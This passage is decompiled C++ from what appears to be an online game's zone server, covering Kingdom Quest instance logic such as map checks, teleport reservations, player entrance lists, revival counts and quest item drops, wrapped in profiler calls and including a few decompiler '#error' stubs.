FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&map_->n3_name[4]; *(_DWORD *)&likqmf.likqmfm_MapName.n3_name[0] = *(_DWORD *)&map_->n3_name[0]; v4 = *(_DWORD *)&map_->n3_name[8]; v8 = 0; likqmf.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorKingdomQuestMapFind::_vftable_; *(_QWORD *)&likqmf.likqmfm_MapName.n3_name[4] = __PAIR__(v4, v3); LOBYTE(v8) = 1; List::l_4AllInList(v2, (ListIteratorDefault *)&likqmf); --funcallanalizer.fca_stackpoint; likqmf.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"); __security_check_cookie(v7); return result; } // 5B5560: using guessed type int (__stdcall *ListIteratorKingdomQuestMapFind___vftable_)(int ele, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0046DE30) -------------------------------------------------------- void __thiscall AxialListObjectClear::AxialListObjectClear(AxialListObjectClear *this, unsigned int clearflag) { AxialListObjectClear *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListObjectClear::AxialListObjectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectClear::AxialListObjectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->aloc_clearflag = clearflag; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectClear::AxialListObjectClear"); } // 5B55C8: using guessed type int (__stdcall *AxialListObjectClear___vftable_)(int, int, int distancesquar); //----- (0046DED0) -------------------------------------------------------- void __thiscall AxialListObjectClear::_AxialListObjectClear(AxialListObjectClear *this) { AxialListMobKillLog *v1; // esi@1 v1 = (AxialListMobKillLog *)this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListObjectClear::~AxialListObjectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectClear::~AxialListObjectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectClear::~AxialListObjectClear"); AxialListWall::_AxialListWall(v1); } // 5B55C8: using guessed type int (__stdcall *AxialListObjectClear___vftable_)(int, int, int distancesquar); //----- (0046DF60) -------------------------------------------------------- #error "46DF60: undefined or illegal type '#325' (funcsize=44)" //----- (0046E020) -------------------------------------------------------- void __thiscall FieldMap::fm_ClearObject(void *this, unsigned int eraseflag) { void *v2; // esi@1 void *v3; // ecx@1 AxialListObjectClear aloc; // [sp+8h] [bp-14h]@1 int v5; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_ClearObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_ClearObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListObjectClear::AxialListObjectClear(&aloc, eraseflag); v3 = (void *)*((_DWORD *)v2 + 12); LOBYTE(v5) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&aloc, 1); LOBYTE(v5) = 0; AxialListObjectClear::_AxialListObjectClear(&aloc); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_ClearObject"); } //----- (0046E0E0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_RetrateFromMap() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_RetrateFromMap", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetrateFromMap"); } //----- (0046E180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_RetrateFromMap(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)&v1->sdi_ItemOnField.iti_registnum.binary.gap0[0] = -1; v1->sdi_ItemOnField.iti_registnum.binary._bf4 = -1; memset(&v1->sdi_ItemOnField.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&v1->sdi_ItemOnField.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(v1->sdi_ItemOnField.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; v1->sdi_ItemOnField.iti_itemstruct.itemid = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_RetrateFromMap"); } //----- (0046E200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_RetrateFromMap(ShineObjectClass::ShineEffectObject *this) { ShineObjectClass::ShineEffectObject *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->seo_VanishTime = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"); } //----- (0046E260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RetrateFromMap(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v1 + 7368) |= 1u; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); } //----- (0046E2C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_RetrateFromMap(ShineObjectClass::ShineDoor *this) { ShineObjectClass::ShineDoor *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sd_Retrate = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_RetrateFromMap"); } //----- (0046E320) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_LinkToReserv(int lnkinf, char TryUntilSuccess) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LinkToReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); } //----- (0046E370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LinkToReserv(void *this, const void *lnkinf, char TryUntilSuccess) { int v3; // esi@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LinkToReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(v3 + 89014) = ShineObjectClass::ShinePlayer::sp_LinkReservStore(v3, lnkinf); *(_BYTE *)(v3 + 23280) = (TryUntilSuccess << 7) | *(_BYTE *)(v3 + 23280) & 0x5F | 0x20; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); } //----- (0046E430) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_TeleportReserv(int Location) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_TeleportReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_TeleportReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_TeleportReserv"); } //----- (0046E480) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_TeleportReserv(void *this, int Location) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_TeleportReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_TeleportReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v2 + 23281) |= 1u; *((_DWORD *)v2 + 22254) = *(_DWORD *)Location; *((_DWORD *)v2 + 22255) = *(_DWORD *)(Location + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_TeleportReserv"); } //----- (0046E500) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::kqe_sort(KingdomQuestEntrance *this, unsigned __int16 handle) { if ( handle < 0x80u ) qsort( this->kqe_entrancelist[handle].players, this->kqe_entrancelist[handle].joinnumber, 4u, KingdomQuestEntrance::kqe_Compare); else AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_sort : Subscript over", handle); } //----- (0046E550) -------------------------------------------------------- PROTO_NC_KQ_JOINER *__thiscall KingdomQuestEntrance::kqe_search(KingdomQuestEntrance *this, PROTO_NC_KQ_JOINER *key, unsigned __int16 handle) { PROTO_NC_KQ_JOINER *result; // eax@2 if ( handle < 0x80u ) { result = (PROTO_NC_KQ_JOINER *)bsearch( key, this->kqe_entrancelist[handle].players, this->kqe_entrancelist[handle].joinnumber, 4u, KingdomQuestEntrance::kqe_Compare); } else { AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_search : Subscript over", handle); result = 0; } return result; } //----- (0046E5B0) -------------------------------------------------------- int __thiscall KingdomQuestEntrance::operator__(KingdomQuestEntrance *this, PROTO_NC_KQ_W2Z_START_CMD *kqstart) { KingdomQuestEntrance *v2; // ebx@1 unsigned __int16 v3; // cx@1 int v4; // ebx@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KingdomQuestEntrance::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuestEntrance::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->kqe_Number.value = v2->kqe_Number.mask & (v2->kqe_Number.value + 1); v3 = kqstart->NumOfJoiner; if ( v3 > 0x64u ) { AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_newentrance : Too many entrance", v3); v3 = 100; } v2->kqe_entrancelist[v2->kqe_Number.value].joinnumber = v3; v2->kqe_entrancelist[v2->kqe_Number.value].entrynumber = 0; memcpy(v2->kqe_entrancelist[v2->kqe_Number.value].players, &kqstart[1], 4 * v3); v4 = v2->kqe_Number.value; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KingdomQuestEntrance::operator []"); return v4; } //----- (0046E6D0) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGate(KingdomQuestGate *this) { KingdomQuestGate *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x74u, 256, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); v1->kqg_keeperpoint.mask = 255; v1->kqg_keeperpoint.value = 0; } //----- (0046E710) -------------------------------------------------------- void __thiscall KingdomQuestGate::_KingdomQuestGate(KingdomQuestGate *this) { _eh_vector_destructor_iterator_( this, 0x74u, 256, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } //----- (0046E730) -------------------------------------------------------- #error "46E730: undefined or illegal type '#325' (funcsize=313)" //----- (0046EBB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK(void *this, int netcmd, __int16 lsthnd, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 bool v9; // zf@1 unsigned __int16 v10; // ax@8 int v11; // edi@8 KingdomQuest::KQElement *v12; // eax@8 int v13; // edx@9 char *v14; // [sp-14h] [bp-90h]@5 NPCManager::LinkInformTemplete lnkinf; // [sp+4h] [bp-78h]@9 unsigned int v16; // [sp+6Ch] [bp-10h]@11 int v17; // [sp+78h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v17 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1352))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v9 = (_S21_9 & 1) == 0; v8[16] = 0; if ( v9 ) { _S21_9 |= 1u; cmc_45.cmc_AllowMode = 86; atexit(_E22_8); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_45.cmc_AllowMode && *(_BYTE *)(netcmd + 2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4) == 4 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1140))(v4); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); v11 = *(_DWORD *)(netcmd + 3) ^ v10; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); v12 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v11, (unsigned __int16 *)&netcmd); if ( v12 ) { *(_DWORD *)&lnkinf.linktoserver[0] = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapName.n3_name[0]; *(_DWORD *)&lnkinf.linktoserver[4] = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapName.n3_name[4]; *(_DWORD *)&lnkinf.linktoserver[8] = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapName.n3_name[8]; *(_DWORD *)&lnkinf.linktoclient[0] = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapBase.n3_name[0]; *(_DWORD *)&lnkinf.linktoclient[4] = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapBase.n3_name[4]; *(_DWORD *)&lnkinf.linktoclient[8] = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapBase.n3_name[8]; lnkinf.linktoclient[12] = 0; lnkinf.linktoserver[12] = 0; lnkinf.coordx = v12->kqe_mapinfo[0].mapinf->RegenX; v13 = *(_DWORD *)v4; lnkinf.coordy = v12->kqe_mapinfo[0].mapinf->RegenY; (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v13 + 1472))( v4, &lnkinf, 6, 9, 10); } v14 = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; } else { v14 = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie(v16); } //----- (0046EDC0) -------------------------------------------------------- #error "46EDC0: undefined or illegal type '#585' (funcsize=199)" //----- (0046F0C0) -------------------------------------------------------- int __thiscall KingdomQuest::KQElement::kqe_ReviveNumber(KingdomQuest::KQElement *this, char *revivehere) { KingdomQuest::KQElement *v2; // esi@1 int v3; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KingdomQuest::KQElement::kqe_ReviveNumber"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQElement::kqe_ReviveNumber"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *revivehere = 0; switch ( v2->kqe_kqinfo.baseclass_0.PlayerRevivalMode ) { case 1: v3 = 99999; *revivehere = 0; break; case 2: v3 = v2->kqe_kqinfo.baseclass_0.PlayerRevivalCount; *revivehere = 0; break; case 3: v3 = 99999; *revivehere = 1; break; case 4: v3 = v2->kqe_kqinfo.baseclass_0.PlayerRevivalCount; *revivehere = 1; break; default: v3 = 0; break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KingdomQuest::KQElement::kqe_ReviveNumber"); return v3; } //----- (0046F170) -------------------------------------------------------- KingdomQuest::KQElement *__thiscall ShineObjectClass::ShinePlayer::sp_MyKQElement(void *this) { void *v1; // edi@1 int v2; // eax@1 unsigned int v3; // eax@3 KingdomQuest::KQElement *v4; // esi@4 KingdomQuest::KQElement *result; // eax@5 __int16 lsthnd; // [sp+0h] [bp-14h]@4 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v8; // [sp+10h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MyKQElement"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MyKQElement"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v8 = 0; if ( v2 && *(_DWORD *)(v2 + 12) && (v3 = *(_DWORD *)(v2 + 60), v3 != -1) ) { v4 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v3, (unsigned __int16 *)&lsthnd); if ( v4 != 0 ) { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = v4; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MyKQElement : Cannot found KQ Element", *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60)); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = 0; } return result; } //----- (0046F2B0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // edx@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown - 1; v2->kqpi_KnockDown = v3; --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"); return v4; } //----- (0046F310) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // edx@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown + 1; v2->kqpi_KnockDown = v3; --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"); return v4; } //----- (0046F370) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownGet(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"); return v3; } //----- (0046F3E0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetBattleStat() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_GetBattleStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_GetBattleStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_GetBattleStat"); return &ShineObjectClass::ShineObject::so_DefBattleStat; } //----- (0046F430) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KQItemDrop(void *this) { void *v1; // ebx@1 int v2; // edx@1 int v3; // eax@1 int v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 const void *v7; // esi@7 ItemDataBox::ItemDataBoxIndex *v8; // eax@7 ItemInfoServer *v9; // eax@8 int v10; // ST14_4@10 CServerInfo::MY_SERVER *v11; // eax@10 int v12; // esi@10 ItemAttributeClass *v13; // eax@10 int v14; // eax@10 int v15; // eax@10 ItemBoxIterItem ibii; // [sp+24h] [bp-9Ch]@1 FunctionEntarance _; // [sp+34h] [bp-8Ch]@1 ItemTotalInformation item; // [sp+38h] [bp-88h]@10 unsigned int cookie; // [sp+ACh] [bp-14h]@13 int v20; // [sp+BCh] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KQItemDrop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v20 = 0; v3 = (*(int (__thiscall **)(void *))(v2 + 1156))(v1); v4 = (int)((char *)v1 + 35536); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 35536); if ( v3 ) v5 = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 4))(v3); else v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); ibii.baseclass_0.ibi_Limit = v5; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v20) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v6 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( v6 ) { v7 = (const void *)(v6 + 8); v8 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v6 + 8)); if ( v8 ) { v9 = v8->dataserv; if ( v9 ) { if ( v9->KQ_Item_Drop ) { v10 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v11 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&item, 3, v11->nZoneNo, v10); memcpy(&item.iti_itemstruct, v7, 0x64u); v12 = (int)((char *)v7 + 100); *(_WORD *)((char *)&item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v12; v12 += 2; BYTE3(item.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)v12++; v13 = ItemAttributeClassContainer::operator__(&itmattcontainer, item.iti_itemstruct.itemid); LOWORD(v12) = *((_WORD *)v1 + 2); v14 = (*(int (__thiscall **)(void *, ItemAttributeClass *, signed int))(*(_DWORD *)v1 + 836))(v1, v13, 2); v15 = (unsigned __int8)ShineObjectClass::ShineObject::so_IsDropping( v1, &item.iti_itemstruct, 1, 0, (unsigned __int16)v12, v12, v14); if ( !(_BYTE)v15 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_KQItemDrop : Drop fail", v15); } } } } } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); } --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQItemDrop"); __security_check_cookie(cookie); } // 481FD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_IsDropping(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (0046F630) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, KingdomQuest::KQPlayerInform *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, ele, 0x34u); result = 1; } else { result = 0; } return result; } //----- (0046F660) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = 